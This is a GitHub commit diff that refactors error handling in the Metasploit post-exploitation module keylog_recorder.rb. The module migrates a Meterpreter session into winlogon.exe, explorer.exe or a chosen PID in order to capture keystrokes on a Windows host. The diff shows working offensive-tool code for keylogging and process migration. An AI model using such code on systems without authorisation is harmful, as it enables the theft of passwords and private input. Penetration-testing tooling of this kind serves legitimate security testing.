Skip to content

Commit 352d634

Browse files
committed
scriptjunkie's recs and fixes additional issues
1 parent 7221334 commit 352d634

File tree

1 file changed

+15
-15
lines changed

1 file changed

+15
-15
lines changed

modules/post/windows/capture/keylog_recorder.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -53,10 +53,7 @@ def run
5353
print_status("Executing module against #{sysinfo['Computer']}")
5454
if datastore['MIGRATE']
5555
if datastore['CAPTURE_TYPE'] == "pid"
56-
if !migrate_pid(datastore['PID'], session.sys.process.getpid)
57-
print_error("Unable to migrate to given PID. Using Explorer instead.")
58-
return unless process_migrate
59-
end
56+
return unless migrate_pid(datastore['PID'], session.sys.process.getpid)
6057
else
6158
return unless process_migrate
6259
end
@@ -121,10 +118,9 @@ def lock_screen
121118
# @return [NilClass] Session match was not found
122119
def get_process_name
123120
processes = client.sys.process.get_processes
121+
current_pid = session.sys.process.getpid
124122
processes.each do |proc|
125-
if proc['pid'] == session.sys.process.getpid
126-
return proc['name']
127-
end
123+
return proc['name'] if proc['pid'] == current_pid
128124
end
129125
return nil
130126
end
@@ -139,7 +135,8 @@ def process_migrate
139135

140136
if captype == "winlogon"
141137
if is_uac_enabled? and not is_admin?
142-
print_error("UAC is enabled on this host! Winlogon migration will be blocked. Using Explorer instead.")
138+
print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...")
139+
return false
143140
else
144141
return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
145142
end
@@ -170,7 +167,7 @@ def get_pid(proc_name)
170167
# @return [FalseClass] if it failed to migrate
171168
def migrate(target_pid, proc_name, current_pid)
172169
if !target_pid
173-
print_error("Could not migrate to #{proc_name}.")
170+
print_error("Could not migrate to #{proc_name}. Exiting...")
174171
return false
175172
end
176173

@@ -185,8 +182,8 @@ def migrate(target_pid, proc_name, current_pid)
185182
client.core.migrate(target_pid)
186183
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
187184
return true
188-
rescue ::Rex::RuntimeError => error
189-
print_error("Could not migrate to #{proc_name}.")
185+
rescue Rex::Post::Meterpreter::RequestError => error
186+
print_error("Could not migrate to #{proc_name}. Exiting...")
190187
print_error(error.to_s)
191188
return false
192189
end
@@ -198,12 +195,12 @@ def migrate(target_pid, proc_name, current_pid)
198195
# @return [FalseClass] if it failed to migrate
199196
def migrate_pid(target_pid, current_pid)
200197
if !target_pid
201-
print_error("Could not migrate to PID #{target_pid}.")
198+
print_error("Could not migrate to PID #{target_pid}. Exiting...")
202199
return false
203200
end
204201

205202
if !has_pid?(target_pid)
206-
print_error("Could not migrate to PID #{target_pid}. Does not exist!")
203+
print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
207204
return false
208205
end
209206

@@ -218,8 +215,8 @@ def migrate_pid(target_pid, current_pid)
218215
client.core.migrate(target_pid)
219216
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
220217
return true
221-
rescue ::Rex::RuntimeError => error
222-
print_error("Could not migrate to PID #{target_pid}.")
218+
rescue Rex::Post::Meterpreter::RequestError => error
219+
print_error("Could not migrate to PID #{target_pid}. Exiting...")
223220
print_error(error.to_s)
224221
return false
225222
end
@@ -336,6 +333,7 @@ def finish_up
336333
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
337334

338335
begin
336+
sleep(@interval)
339337
write_keylog_data
340338
rescue::Exception => e
341339
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
@@ -354,7 +352,9 @@ def finish_up
354352
#
355353
# @return [void] A useful return value is not expected here
356354
def cleanup
355+
if @logfile #make sure there is a log file meaning keylog started and migration was successful, if used.
357356
finish_up if session_good?
358357
time_stamp("exited")
358+
end
359359
end
360360
end

0 commit comments

Comments
 (0)